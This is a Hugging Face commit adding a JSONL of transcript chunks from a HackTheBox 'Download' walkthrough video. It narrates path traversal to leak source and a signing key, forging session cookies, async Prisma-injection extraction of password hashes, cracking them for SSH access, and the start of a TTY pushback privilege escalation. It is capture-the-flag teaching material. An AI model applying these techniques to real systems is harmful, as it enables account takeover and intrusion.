k3nn3dy commited on
Commit
96ffcba
·
verified ·
1 Parent(s): a07cc36

Add HackTheBox_-_Download.jsonl

Browse files
Files changed (1) hide show
  1. HackTheBox_-_Download.jsonl +57 -0
HackTheBox_-_Download.jsonl ADDED
@@ -0,0 +1,57 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ {"text": "what's going on YouTube this is ipack I'm doing download from hack the box which starts off with attacking a file upload service there is a file disclosure of vulnerability that lets you leak the source code of the application and so you can get the signing key of the cookies and become any user you want with that you can download all the files uploaded to the service but it doesn't really help you that much and there isn't a straightforward path to code execution that being said there is omm injection which is very similar to SQL injection and the code looks very much like a Boolean based nosql attack if you look at it because we've done that 100 times on this channel we're going to do a twist and use async I to make it concurrent and speed up the attack so instead of taking 45 seconds to get a hash it only takes 10 the root step is really cool it's one of the oldest", "start": 0.199, "duration": 0.0, "meta": {"video_id": "UUn9x7mw1i0", "title": "HackTheBox - Download", "url": "https://www.youtube.com/watch?v=UUn9x7mw1i0"}}
2
+ {"text": "vulnerabilities it's a TTY push back attack essentially there is a root user that does SU down to a lower user doesn't use the dash P flag to assign a new pseudo terminal so you can inject into the root S of that Su with that being said let's jump in as always we going to begin with an end map so- SCC for default scripts SV enumerate versions OA output all formats put in the end map directory and call it download then the IP address of 1010 111226 this can take some time to run so I've already ran it looking at the results we have just two ports open the first one being SSH on Port 22 its Banner tells us it's a Ubuntu box we also have HTTP on Port 80 running engine X also on Ubuntu and the HTTP title tells us it's redirecting everything to download. htb so let's go ahead and add that to our host file so 1010", "start": 46.559, "duration": 0.0, "meta": {"video_id": "UUn9x7mw1i0", "title": "HackTheBox - Download", "url": "https://www.youtube.com/watch?v=UUn9x7mw1i0"}}
3
+ {"text": "11226 put download. htbn and let's go take a look at the website so let's go to download htb and burp Suite is on so let's turn that off there we go and we just have a file upload site it looks like there's a few actions this one looks like it is log on or upload uh both these are the same so we got upload and log in so it looks like we can upload files just as an anonymous user so let's go create a file I'm just going to touch uh let's Echo please subscribe to file. text and before we dig too much into this let's go take a look at like if we can identify what type of server is running because this definitely changes how I'm going to attack the application for instance if it was a PHP server i' would be trying to upload like a PHP file right so looking at the header we can see it is running Express so this is no JS so um", "start": 101.72, "duration": 0.0, "meta": {"video_id": "UUn9x7mw1i0", "title": "HackTheBox - Download", "url": "https://www.youtube.com/watch?v=UUn9x7mw1i0"}}
4
+ {"text": "we don't have that type of attack and I always like having some type of Recon going on in the background so let's go ahead and St up gobster so HTTP download. htb word list up SEC list Discovery web content um raft small words.", "start": 162.76, "duration": 0.0, "meta": {"video_id": "UUn9x7mw1i0", "title": "HackTheBox - Download", "url": "https://www.youtube.com/watch?v=UUn9x7mw1i0"}}
5
+ {"text": "text uh matches everything hold on a second if we get something that doesn't exist oh it's redirecting us saying 200 okay so there is no concept of a 404 um let see does the content size change it doesn't we could like use FFF to Brute Force this and set the content length actually let's do that um because that's a good way to get around something like this so we'll do f-u HTP download. htb slash um let's see fuzz word list upsc Discovery and I'm sure go Buster has something because it's telling us the length right there so there's probably a way we can um filter on the length as well but I always switch to FFF when I have this we can say filter size 2066 so that's getting us a Go Buster I guess or a directory listing so let's see we were at uploading a file right I just created the file so I'm", "start": 182.08, "duration": 0.0, "meta": {"video_id": "UUn9x7mw1i0", "title": "HackTheBox - Download", "url": "https://www.youtube.com/watch?v=UUn9x7mw1i0"}}
6
+ {"text": "going to click browse let's go htb uh this Box's name is download and we can do file. text make sure I'm still on intercept mode click upload now let's see don't need that one it deleted my file upload and we can see what the upload looks like so I'm just going to click forward now we're going to get a file page I'm just sending things in repeater so I can go look at them so let's see if we go back to the repeater tab we have the file upload and at no point is it giving us that uu ID if I notice here we have a u ID here so I don't see that here which means um we probably can't control the file name which prevents us from doing a lot of uh types of attacks like maybe we could overwrite a JS file in the web route or do other things right but since we don't control the file name we kind of just ignore that all together we can just direct files to the web server not", "start": 250.04, "duration": 0.0, "meta": {"video_id": "UUn9x7mw1i0", "title": "HackTheBox - Download", "url": "https://www.youtube.com/watch?v=UUn9x7mw1i0"}}
7
+ {"text": "interesting if we do this files view it looks like it's just going to show us information about the file so I'm going to click on download go back to proxy put this over to repeater and it is downloading let's see let's file view okay I was just kind of comparing the headers we have 12 headers on that and 10 headers here so we adding a few headers let's see probably like content disposition and things like that so nothing really interesting there so let's go and try for SQL injection right because my first thought is um it's doing like select file name from files where ID is equal to this and getting me the file name so I'm going to put a single quote in and we get a 44 page which is odd right because every other time we tried to get a 404 we did not uh let's just turn this off to make it easier if we do file SL something um it says 404 but it actually returns a 200", "start": 321.96, "duration": 0.0, "meta": {"video_id": "UUn9x7mw1i0", "title": "HackTheBox - Download", "url": "https://www.youtube.com/watch?v=UUn9x7mw1i0"}}
8
+ {"text": "like this is no HTM at all compared to what we see um let's refresh so you can see this like this is the 404 page that we just looked at that's 200 and a lot of data so this is odd this is indicating that maybe the um query is just getting a file off the web server right it may not be in a database at all so the file name may just be this uid a good way to test for that is ADD adding a slash at the beginning of it and because we're in this um URL we're not in a parameter if we're in a parameter then the slash character isn't a bad character but since we're in the URL the slash is used as a delimiter so whenever you put a slash in you want to URL encode it and a/ URL encoded is percent 2f I'm going to highlight that press control um shift U and we can see that is a slash and the reason why I do a slash is this is a good way to identify files right so I'm going", "start": 387.96, "duration": 0.0, "meta": {"video_id": "UUn9x7mw1i0", "title": "HackTheBox - Download", "url": "https://www.youtube.com/watch?v=UUn9x7mw1i0"}}
9
+ {"text": "to um let's Echo PWD real quick or we'll just do PWD and if I try to get file I can do I'm looking at fuff real quick there's nothing interesting so we can cat file like that I can also put a slash and we'll always get file right um if we put a slash at the end that's when it's not going to be a file so that's what I'm testing for here and we still get it so even if we put a slash at the beginning it's still getting the file if we put it at the end uh it did get the file I did not expect that honestly so maybe it is um replacing all slashes if we do percent 2f here so that is interesting I wonder if that is a like Express thing we could also maybe replace a character with a question mark a wild card or like regular expression D doesn't work but right now I'm thinking this is a file it's really odd that we can add a 2f at the end of this and it still works but", "start": 450.96, "duration": 0.0, "meta": {"video_id": "UUn9x7mw1i0", "title": "HackTheBox - Download", "url": "https://www.youtube.com/watch?v=UUn9x7mw1i0"}}
10
+ {"text": "that may just be a quirk of Express right like um for instance in like Java when you open a directory you get contents of all the files in the directory sometimes programming languages just have odd quirks and you learn them out by just playing with things like this right right so let's do do slash and see if we get a file we get not found that is good so let's do a few of these and we're going to try like Etsy pass WD right so I'm going to copy and we can say Etsy passwd and we get a bad request so there may be some type of filtering in let's just slowly get rid of these two FS so after going up to directories we get a bad request maybe like there's SE Linux or app armor preventing us from going outside of the web directory um I'm not sure exactly why it could also be like a CH rout and just not letting", "start": 523.279, "duration": 0.0, "meta": {"video_id": "UUn9x7mw1i0", "title": "HackTheBox - Download", "url": "https://www.youtube.com/watch?v=UUn9x7mw1i0"}}
11
+ {"text": "us out of the directory so we can only go up to directories um so let's try to get files that are interesting to us and since this is um Express I'm going to go with I think it's packages. Json let's go up two directories uh not found let's see what is the expresses packages file is it like package.json maybe uh we need to turn brip Suite off uh let's see Express package file node.js let's see package.json right there so let's try package.json not found and there we go we have a file so the name is download. htb the app is in app.js and we can see all the libraries it uses we have a cookie Purser cookie session Express Express File upload um nunchucks this is going to be some templating uh Prisma I think that is like a om uh so so yeah let's go to app.js and get the source code so looking at this I wonder if we", "start": 583.0, "duration": 0.0, "meta": {"video_id": "UUn9x7mw1i0", "title": "HackTheBox - Download", "url": "https://www.youtube.com/watch?v=UUn9x7mw1i0"}}
12
+ {"text": "should just download this um let's see copy the file we'll call it's not intentions this is download I'm going to make a directory called source and we'll go in there and save app.js there we go V app.js delete this header okay so let's see what do we have we have a few other file so we have routers off files and home so we can see how the application's authenticating how files are being stored um the download session cookie I'm guessing this is the key to sign cookies uh let's see using this is odd I don't know how we can inject into that but that is definitely a odd thing um it's writing to a file ver backups file uses. CSV um but potentially since this is like a raw SQL query we may able to do SQL injection there at some point so let's let's see the cookie is the most interesting thing to me right now because if we went", "start": 669.48, "duration": 0.0, "meta": {"video_id": "UUn9x7mw1i0", "title": "HackTheBox - Download", "url": "https://www.youtube.com/watch?v=UUn9x7mw1i0"}}
13
+ {"text": "to Let's actually like sign up to the website and log in because I'm guessing there's other users on this site and if we can forge a cookie we can become them and then if we become them uh we can see what files they've uploaded right so let's do IPC password to password and then let's log in and it says your uploaded files we haven't uploaded anything so I bet if we did an upload now file upload and let's go back to home and we can see uploaded files so what we want to do is try to become other users so the first thing is let's look at our cookie to see what our session looks like so I'm just going to copy this session and there's two cookies uh let's see download session. Sig and download session okay so one's a signature uh Echo this base 64- D it's Json so let's JQ it so what we want to do is probably change our user and we can probably just change the ID", "start": 755.32, "duration": 0.0, "meta": {"video_id": "UUn9x7mw1i0", "title": "HackTheBox - Download", "url": "https://www.youtube.com/watch?v=UUn9x7mw1i0"}}
14
+ {"text": "and get rid of the username and like if we do id1 we're probably going to be the very first user um what we have to do is figure out exactly how this is signed we could probably dig through a lot of of the express source code to figure out exactly how it signed but I don't like doing that um this does look like B 64 to me I know the underscore is a bit odd character used to pluses or something but this is just like the URL safe version of Bas 64 uh let's see invalid input it's getting rid of padding because URL safe b64 does not have padding and I'm guessing basic D4 does not do URL uh do we have base an on that's base ENC or bassc there we go so we can use a different Bas 64 program so let's go back and say base NC and then I think DEC for decrypt and then D- base 64 URL um maybe we don't even have to say maybe it's STD yep invalid", "start": 827.56, "duration": 0.0, "meta": {"video_id": "UUn9x7mw1i0", "title": "HackTheBox - Download", "url": "https://www.youtube.com/watch?v=UUn9x7mw1i0"}}
15
+ {"text": "input there we go um the equals is just padding at the end of a Bas 64 string so it goes either 0 to three equals but now that we have B 64 decoded it we can pipe it to xxd to get the hex digest and then if we do wc- c we have 41 characters so that's going to be 40 characters and then the line break so we know that's a sha one sum right if we Echo sha one sum copy this and then Echo DN wc- C 40 characters right uh the line break if we get rid of that then 41 so this is a sha one sum and that is important because that's going to tell us that um this is probably going to be an H Max sign thing with a sha one sum so let's copy this and I'm going to go to cyers Chef uh let's see there we go and there's a few ways that they could be signing this um let's see let's get our actual cookie so go here let's see 404 page", "start": 897.68, "duration": 0.0, "meta": {"video_id": "UUn9x7mw1i0", "title": "HackTheBox - Download", "url": "https://www.youtube.com/watch?v=UUn9x7mw1i0"}}
16
+ {"text": "okay so let's go back to cyber stff paste this in and then they could be um let's see they could just sign this straight away so if we do hmac here uh let's see it's definitely sha one sum the key let's go back and grab it since this is all digits I'm guessing it's not going to be hex um it would just be odd that it's a string of digits with no a through F if it's um X so it could either be decimal or utf8 chances are it's utf8 um I've never seen Keys just stored as decimal and web applications right so I'm guessing it's going to be utf8 and what we want to do is try to get a hash that generates to sv2 so straight off the bat that is not uh we also have to base 64 and code it right so to base 64 actually before that this is just hex uh we didn't an xxd so let's convert this to hex and then base 64", "start": 974.079, "duration": 0.0, "meta": {"video_id": "UUn9x7mw1i0", "title": "HackTheBox - Download", "url": "https://www.youtube.com/watch?v=UUn9x7mw1i0"}}
17
+ {"text": "um that is really big I think we're doing something wrong instead of two hex from hex there we go that looks about right so this does not match so they could have also like base 64 decoded this first so let's do from base 64 that's not SV uh that's from base that's not base 64 there we go still not um they could sign the whole cookie so the they do have download session so let's add this um oh this is probably a session of an unauthenticated user that's why the signature is different there we put that there so let's see I'm confused real quick get rid of that get rid of that there we go so what they're doing is they're taking the whole string they're going to hmac um sign it with sha one they're going to unhex it and then B 64 it so now that we know how they sign these cookies we can make our own cookie and become other users so let us um", "start": 1045.039, "duration": 0.0, "meta": {"video_id": "UUn9x7mw1i0", "title": "HackTheBox - Download", "url": "https://www.youtube.com/watch?v=UUn9x7mw1i0"}}
18
+ {"text": "let's just create a file called exploit. open up vs code and we're going to attempt to become other users so let's import the libraries we need I know I need hm and hash lib uh we'll also need probably base 64 we don't need requests just yet because all we want to do is sign a cookie right so um it knows what we want and let's put key on the other end and then we can say key is equal to key and we can just say key is equal to let's grab the key so now we don't have to paste in the signing key every time we want to do something uh it's kind of giving us what we want I'll save that there but uh what we want to do first is we're going to pass in the message and we're going to pass in the message where it's not base 64 encoded right um if I grab this we can take this string and then echo echo base 64- D we're just going to", "start": 1133.559, "duration": 0.0, "meta": {"video_id": "UUn9x7mw1i0", "title": "HackTheBox - Download", "url": "https://www.youtube.com/watch?v=UUn9x7mw1i0"}}
19
+ {"text": "pass in this object right so we'll have to base 64 encode it so let's say message is equal to um base 64 do URL safe incode message and let's call this cookie and then we can say uh we'll call it cookie value and then cookie is going to be equal to the download uncore session I think it was let's see download uncore session equals plus cookie value and now we can can sign it right so we're going to return that sign we want this to be a sha one and then we can just print sign and then let's grab this blob okay so if we run this what do we get uh bites like object not string we want to encode this and then this cookie value is also going to be a bite so we can make that a bite see key this probably has to be a a b right key is byes so we can do key do incode cookie is already a b that should", "start": 1205.919, "duration": 0.0, "meta": {"video_id": "UUn9x7mw1i0", "title": "HackTheBox - Download", "url": "https://www.youtube.com/watch?v=UUn9x7mw1i0"}}
20
+ {"text": "be fine and I'm just going to execute it in a terminal because it's a little bit quicker so we just get um straight hex so what we want to do is base 64 and code that right so we can say um signed is equal to that and then return base 64. URL safe incode um then signed I think that's probably already a bite object it is not in code that is not what we want let's see oh we don't need to convert it to hex because we just want to sign the blob right in cyberchef we did the hmax signing and then got went from hex to a blob to base 64 I think right so let's just skip that one step run it h what is this signed probably just digest so hex digest converts it to hex do digest just gets the raw blob um then we encode it what line was that okay so since we just got the raw blob it is now a bite yep there we go that looks right uh sv2 that is what we had wanted right sv2", "start": 1326.6, "duration": 0.0, "meta": {"video_id": "UUn9x7mw1i0", "title": "HackTheBox - Download", "url": "https://www.youtube.com/watch?v=UUn9x7mw1i0"}}
21
+ {"text": "CT wo yep the only thing is I think we strip equals most things in like web do not like an equal sign right so let's look at this the signature does not have equals so we can just replace uh let's see let's decode it first so that takes in from bite to a string and then we can replace equals with nothing so now when we run this we just get our um sign blob so now we should be able to become other users we could just um guess and change this object around to become another user but why not actually look at the source code because we do have a file disclosure um we want to go to home so if we search for routers SL percent to F and home.js we should be able to find the query how it does it right so files and then it's doing await client file find many where author and this is just going to be um anything", "start": 1435.159, "duration": 0.0, "meta": {"video_id": "UUn9x7mw1i0", "title": "HackTheBox - Download", "url": "https://www.youtube.com/watch?v=UUn9x7mw1i0"}}
22
+ {"text": "so I guess it's kind of like nosql injection right because it's just passing in our raw thing we can probably put anything we want and by raw I mean it's grabbing user and it's got this object right so it's um translating this object to be um where ID is 16 and username is equal to IC so I bet if we just change this to get rid of the username and say ID is equal to six and we run this so let's see like this and there's one other thing I want to print out right let's see we got the sign let's return two things because we actually want the cookie as well because I'm just going to copy and replace it in Firefox so let's give cookie and that and then we can say cookie Sig is equal to sign print cookie decode print Sig there we go so that's going to just give me id6 which should be me so let's copy the signature", "start": 1509.799, "duration": 0.0, "meta": {"video_id": "UUn9x7mw1i0", "title": "HackTheBox - Download", "url": "https://www.youtube.com/watch?v=UUn9x7mw1i0"}}
23
+ {"text": "first and then we can copy the download session then refresh the page and it no longer says hey I we have uploaded by I session and then the file right so I guess this is the nunchuck their templating language putting the username from the session but we can get all our files right so why don't we get other users files so I wonder if what if we just gave it a blank thing where user is blank we'll do ID one first so we sure that working then let's try blank and I'm actually going to just do cookie Val because when I exported it I had download session I did not want that so we got this so let's go back to Firefox cookies paste that grab this paste this this has equals I'm not sure if the last one did if we have to strip those let's try stripping the equals so there's a signature grab paste home that is not", "start": 1600.679, "duration": 0.0, "meta": {"video_id": "UUn9x7mw1i0", "title": "HackTheBox - Download", "url": "https://www.youtube.com/watch?v=UUn9x7mw1i0"}}
24
+ {"text": "working oh uh we need to put ID that's how we had it right yeah ID was in quotes my bed there we go cookies the sign then let's get slome there we go so we can see um Wesley is the user of this and we can download the safety manual annual report and see what it is just a sample PDF um so let's try just leaving a blank object here okay run this grab there's got to be easy way to just like automatically input this cookie refresh and we can get a list of every user we got that guy can't pronounce the name so we have a list of all these users um it looks like we can delete Anonymous uploads potentially but let's grab all the users and what I'm actually going to do is use request so we can import request and then let's see cookie Sig so we can say cookies is equal to download session cookie and then download session Sig that's the name of it right is it plural", "start": 1694.64, "duration": 0.0, "meta": {"video_id": "UUn9x7mw1i0", "title": "HackTheBox - Download", "url": "https://www.youtube.com/watch?v=UUn9x7mw1i0"}}
25
+ {"text": "or not uh download session and download session. Sig awesome so that should work so we can say request.get http download. htb slome cookies is equal to cookies print r.", "start": 1809.6, "duration": 0.0, "meta": {"video_id": "UUn9x7mw1i0", "title": "HackTheBox - Download", "url": "https://www.youtube.com/watch?v=UUn9x7mw1i0"}}
26
+ {"text": "text set object let's see I screwed this up um there we go want a string I think and that's a bite there we go I'm going to grap uploaded by we can do a sort U to get unique and then let's see um let's just use said said s let's grab the string place it with nothing let's see s oh I wonder if we have to escape those let's see there's probably a better way to do this let's just output it to a file um users. text V users. text DW 1 2 3 4 5 6 7 8 9 10 so I do 10 DW it'll delete all that and then we can do search and replace for br there we go so now we just have a list of all the users we could go and look at all the files but that is kind of a rabbit hole there's nothing really interesting in these files the next step is actually root forcing a password um and I say Brute Force it's um like", "start": 1841.96, "duration": 0.0, "meta": {"video_id": "UUn9x7mw1i0", "title": "HackTheBox - Download", "url": "https://www.youtube.com/watch?v=UUn9x7mw1i0"}}
27
+ {"text": "Boolean injection I should say so if we go back here we were able to just um insert anything we want here right so we could also insert the password variable right and leak it one character at a time uh there's two things we're going to have to figure out number one is how the password is stored is it just plain text or hashed we don't have to find out but if we know it's hashed then uh we eliminate a lot of the character set right because we just have to do hexadecimal versus the entire asky like uppercase lowercase things like that so let's find that first um let's see this is going to be called home I want to say it was like off. JS and no routers I renamed the tab and I just went back oh well um we can see hash password is going to be md5 sums so we know it's 32 characters um and hex so we'll say caret is equal to a b CDE e f 0 1 2 3 4 5 6 7", "start": 1980.72, "duration": 0.0, "meta": {"video_id": "UUn9x7mw1i0", "title": "HackTheBox - Download", "url": "https://www.youtube.com/watch?v=UUn9x7mw1i0"}}
28
+ {"text": "890 there we go and then the other thing we wanted um exactly what query that is so if we went back to home um this isn't just straight SQL right so they're using something called Prisma so let's search Prisma queries maybe Prisma API query and see what it is cu all we need to do is find like wild Cur characters alike or something like that right so Prisma API reference so let's see looking through May if we go by where because that's where we're injecting there is NS where with there's contains there's probably a starts with as well um starts with there we go so this is how we can do it um let's go back to this and this where we're injecting right so we can say the user password and then how do they do starts with starts with is it really not in quotes Okay and then our password is password right so", "start": 2045.639, "duration": 0.0, "meta": {"video_id": "UUn9x7mw1i0", "title": "HackTheBox - Download", "url": "https://www.youtube.com/watch?v=UUn9x7mw1i0"}}
29
+ {"text": "we can do Echo password um md5 sum and I'm guessing our password in the database starts with five so we can grab that see and I think that will be fine let's try this real quick so we're going to run exploit. bu grap uploaded by and we don't have anything I wonder we probably have to make it a another dictionary no let's see do we put STS with in quotes there we go um so we had a part starts with and quote uh let's see if I put this to JQ it'll be a bit easier for you to read so what we have here is it gets in the user and then we're doing a search on password and then the starts with it's like no SQL injection right um so we're going to say the password starts with five and we got two hits back I was expecting just me right but we also have another user where we collided with so what we're going to want to do is also specify the ID so we can say", "start": 2144.04, "duration": 0.0, "meta": {"video_id": "UUn9x7mw1i0", "title": "HackTheBox - Download", "url": "https://www.youtube.com/watch?v=UUn9x7mw1i0"}}
30
+ {"text": "ID is equal to 16 which was my ID I believe so now when I run this we just have me so this locks us into which user right so if we go back to this query we have um it was here right so we did where the author the ID is equal to 16 and their password starts with five um if we change that to a different character so we did four and then run it we don't get anything so this is the start of our code right so let's create a function um def we'll call it test password and we'll give it let's see how do I want to do this we'll give it the ID and um password okay we're going to grab this and we're going to call this payload is equal to this and then I'm going to replace this with um ID replace and the password starts with we do PW replace see I guess we could probably make this an F string I was kind of", "start": 2260.76, "duration": 0.0, "meta": {"video_id": "UUn9x7mw1i0", "title": "HackTheBox - Download", "url": "https://www.youtube.com/watch?v=UUn9x7mw1i0"}}
31
+ {"text": "avoiding that just because it uses these but we can just put um brackets around everything because that's how you escape the bracket in an F string so around every bracket we want we do doubles I hate the IDE adding something for me and then we want to do three two three so that should be six 1 2 3 1 2 3 okay so here we can just say password and here we say ID and then let's just um return the payload and let's test this real quick we can comment this stuff out print test password 165 run it JQ Dot and this looks fine right this is very expected what we want we have the ID F16 and the password starts with five so that should be fine so after we have the password we'll have to sign it so we can just do um cookie signature is equal to sign payload and then cookies is equal to this and now we make the", "start": 2359.88, "duration": 0.0, "meta": {"video_id": "UUn9x7mw1i0", "title": "HackTheBox - Download", "url": "https://www.youtube.com/watch?v=UUn9x7mw1i0"}}
32
+ {"text": "request okay so what we're going to have to do now is um identify if the request was good and if we see a uploaded by because that's what we're grapping for in our terminal we know um it was successful right so we just want to look for this string so if in our. text we can return true else or we don't even need else we can just return false here and now we can just say if test password print success we run it we get success if this was not five it was four we don't get anything so we could change the ID to one and then uh say like 4C in care set because up here we already uh set the care set to be all hex right and then say if test password one C print C and that's going to go and we get F so the very first thing was um f and we could just say password is equal to nothing and then for I in range", "start": 2473.359, "duration": 0.0, "meta": {"video_id": "UUn9x7mw1i0", "title": "HackTheBox - Download", "url": "https://www.youtube.com/watch?v=UUn9x7mw1i0"}}
33
+ {"text": "uh probably 0 through 32 then for C and caret so test password 1 C let's see how do we want to do this we can say password plus C and then if it's correct we can say password is equal to or we can just say plus equal C break and we should say print C end with nothing and flush true and this is going to slowly get us the password right so let's run this we get F let's just make sure we don't get all fs and you can see this is going somewhat slow right and there were 16 users here this isn't something I'd want to um Brute Force One at time like with it being this slow so let's speed up our script um and we've done this Boolean logic many times in videos so let's learn something new I'm going to make this um asynchronous so we can get this much much quicker so we're going to replace request with httpx because um that", "start": 2577.04, "duration": 0.0, "meta": {"video_id": "UUn9x7mw1i0", "title": "HackTheBox - Download", "url": "https://www.youtube.com/watch?v=UUn9x7mw1i0"}}
34
+ {"text": "allows us to use the async library uh that's probably not going to be right uh let's see we're going to import import a sync IO okay and then let's see every function we want let's just make it all asynchronous do we only have two I guess we only have two awesome then what we need is um if name name is equal to main async IO and let's do async def there we go okay so let's see we have that what do we call sign so we want to put a weight here and what a weight is going to do um it tells it to wait for this to finish when we put async here it essentially says we can run it in the background so we can essentially um we'll do 16 request at once and we're going to wait till all 16 finish and then get the result right so um the await is just going to say don't go to the next line because we're allowing this to be um async so it says", "start": 2655.8, "duration": 0.0, "meta": {"video_id": "UUn9x7mw1i0", "title": "HackTheBox - Download", "url": "https://www.youtube.com/watch?v=UUn9x7mw1i0"}}
35
+ {"text": "don't go to the next line until this finishes that's all that's doing so the next thing we need trying to think the best way to do this um I may create another function so we got test password async def I'm going to say guess character and we'll say that with password okay and then we want to do async with htpx async client as client and test password is now going to accept client and this is client. getet and we need to await that because we don't want to run this um uploaded by until this finishes so we can create our tasks and then we can say for C in care set let's see I should just call this guest password and I think that is fine we want to test the password yeah that's good and then we say results we're going to wait for all the tasks to finish I'm going to say for result in results if true let's see so I'm going to", "start": 2755.16, "duration": 0.0, "meta": {"video_id": "UUn9x7mw1i0", "title": "HackTheBox - Download", "url": "https://www.youtube.com/watch?v=UUn9x7mw1i0"}}
36
+ {"text": "return um let's see do we do password Here return password so if result then return result and we can yeah that should be fine wonder if this is going to work so we go in this range and then I'm going to say um password is equal to a weight password and then we just want to print the very last character of password we'll say n0 flush true let's see if this works I don't have high hopes oh there we go and you can see it's going much quicker than the previous one right so I guess the next thing we'd want to do is dump all the users so we did cat users. text we have a list of users we don't have their ID so we're going have to make a slight change to this um users is equal to this is a pain I should have done this in Vim with a macro but I'm so close there we go that should be all the users okay so how do we want to do this", "start": 2871.24, "duration": 0.0, "meta": {"video_id": "UUn9x7mw1i0", "title": "HackTheBox - Download", "url": "https://www.youtube.com/watch?v=UUn9x7mw1i0"}}
37
+ {"text": "this is going to get the password so we can say for user in users then print user let's do F user like that and let's see we do guest password where do we give it the ID we want have to pass the user in here as well okay guess password we gave it a user test password user there we can rename ID to user I think it was just user was it username or user in the payload username okay so we're going to guess the password we go here let's see if this works like we think it will Anonymous probably doesn't have a password first bug uh n type is not flushable or subscriptable shoot uh probably 61 where did this error at it's got users put that there let's F five and run in here okay so did password finish this are results right guess password now let's break here at uploaded by do we even get there there we go let's see what", "start": 3014.76, "duration": 0.0, "meta": {"video_id": "UUn9x7mw1i0", "title": "HackTheBox - Download", "url": "https://www.youtube.com/watch?v=UUn9x7mw1i0"}}
38
+ {"text": "is or a do text redirecting so we have the payload wrong because we don't have the username in quotes um the ID was not in quotes because it was just a integer but the username is in quotes there we go so now it's working it's threaded it's a little bit quicker um we could make this go even faster if we want to do multiple characters at a time because if we go over to the client we search like wild card uh I don't know where I saw let's see percent if we look through the documents uh we would see that a um Asis is equal to percent and then a period to match a single character is equal to an underscore um but I don't think we have to get that involved in threading in this video uh sure that wasn't easy to follow anyways and we're losing the LA oh no we're not I did dashn awesome so that is an md5 sum I'm going to let this finish then we're going to dump all the hashes out", "start": 3211.76, "duration": 0.0, "meta": {"video_id": "UUn9x7mw1i0", "title": "HackTheBox - Download", "url": "https://www.youtube.com/watch?v=UUn9x7mw1i0"}}
39
+ {"text": "so I'm going to pause the video okay so now that this is done we can just go over to like crack station and crack it we could also do um hashcat but since it's all md5 sums I typically just use crack station for it it doesn't accept the username colon format so let's just do password. text paste this in C it and we will split it upon the colon so we have a list of MD FS grab this go to crack station paste I'm not a robot crack and we get two hits found password which is our password and then we also get this one which is Duncan Donuts so let's see whose password this is so if we just GP that whoops there we go on passwords we can see Wesley so we can try like sshing as them so SSH Wesley at 10 10 11226 and then password Duncan Donuts and we get logged in so before we go to the next step I do want to just quickly go over the code again to explain how it works and hopefully for", "start": 3295.24, "duration": 0.0, "meta": {"video_id": "UUn9x7mw1i0", "title": "HackTheBox - Download", "url": "https://www.youtube.com/watch?v=UUn9x7mw1i0"}}
40
+ {"text": "the third time I do a better job explaining it than the other two so we use this async and what that allows to do is run things in the background or run things concurrently right and then whenever we do await it means we're going to wait for it to finish so this guest password function this is going to guess a character of the password we call it 32 times but every time we call it we wait and we did 32 because it's an md5 sum so there's 32 characters in it so when we call get password it's going to create this async HTTP client this is just like a version of request that we can call with a sync and a wait right and then we're going to create um 16 jobs right car set this is going to be the hex so a through f 0 through 9 right so we essentially create 16 jobs and we say okay we're going to wait for all those 16 jobs to finish and I'm going to gather the results of them all and then", "start": 3369.92, "duration": 0.0, "meta": {"video_id": "UUn9x7mw1i0", "title": "HackTheBox - Download", "url": "https://www.youtube.com/watch?v=UUn9x7mw1i0"}}
41
+ {"text": "put them here and then we Loop through the results and if it's not false then we're going to record it and only one of the 16 is not going to be false right that's going to be the correct character for the password so the test password function um we're just going to do in a wait to sign the payload this is creating it where we're going to say hey we're going to sign a cookie we're going to say we're this user and our password starts with this right and we're going to wait for that sign to finish we may not need to because this is so quick but um better to wait than not and then we're going to call um create the cookies and we're going to make that HTTP request and if uploaded by this means the login was success um the other thing we probably could have done that would have been better is instead of uploaded by we looked at the code right because if on a", "start": 3427.839, "duration": 0.0, "meta": {"video_id": "UUn9x7mw1i0", "title": "HackTheBox - Download", "url": "https://www.youtube.com/watch?v=UUn9x7mw1i0"}}
42
+ {"text": "successful request it returns a 200 on an unsuccessful one I want to say it was a 302 and directed us back to the login that'd be a much better way to do it than uploaded by but when we were coding we were kind of in a rush and that was what worked right and then we return the password if we have that right so in our sense could be um like r. status code is it yep is equal to 200 and that would do the same thing we'd probably have to disable redirects here I'm not sure if um htpx defaults to allowing redirects but if we redirected it would redirect us to the login and the status code would be 200 so you whenever you look at status codes make sure you disable the redirection right but once we have a password it returns so that's that's how it works right um we just go for each character start 15 or 16 jobs whatever A", "start": 3484.64, "duration": 0.0, "meta": {"video_id": "UUn9x7mw1i0", "title": "HackTheBox - Download", "url": "https://www.youtube.com/watch?v=UUn9x7mw1i0"}}
43
+ {"text": "through F or Zer through f is and then at the end of that we look for which job was successful and move on to the next character so now that hopefully you understand that we can go on to the next step if you have questions leave let me know in the comments below I'll look over them all try to answer them in the comments if I can't maybe I'll make a separate video doing some um python scripting with async and maybe will just do goang because I like doing concurrent things much better in goang than python but that's enough of that we've done that probably for like 30 45 minutes in this video so let's go to the next step now that we are Wesley on the box so the first thing I generally check for is just pseudo rules so let's do A-L and then Dunkin Donuts as the password and we can't run it so the next thing I generally go to before I do like Lin PE and things like that is a ps- ef--", "start": 3542.079, "duration": 0.0, "meta": {"video_id": "UUn9x7mw1i0", "title": "HackTheBox - Download", "url": "https://www.youtube.com/watch?v=UUn9x7mw1i0"}}
44
+ {"text": "forest that's going to show me all the processes on the box and makes it organized in a easy to read way and we can see right off the bat we have a lot of SSH connections almost every 2 minutes we have root at naughty on an SSH so let's see what time it is now uh 20352 I'm just going to run it right at four right so if I run this command again we should see a new SSH come in and we do and we could have found this through P spy or modifying Lin PE like we did in last week's video um I forget exactly which one that was to disable fast mode right and just look at the processes running every minute but this was easy enough to spot with a PS command so we can see a SSH session comes in as root we're in the bash prompt they're going to execute manage DB that's going to run a s-l postgress and go to bash the vulnerability here is they didn't add a - P to allocate a new pseudo terminal so we stay on pts1 this", "start": 3592.799, "duration": 0.0, "meta": {"video_id": "UUn9x7mw1i0", "title": "HackTheBox - Download", "url": "https://www.youtube.com/watch?v=UUn9x7mw1i0"}}
45
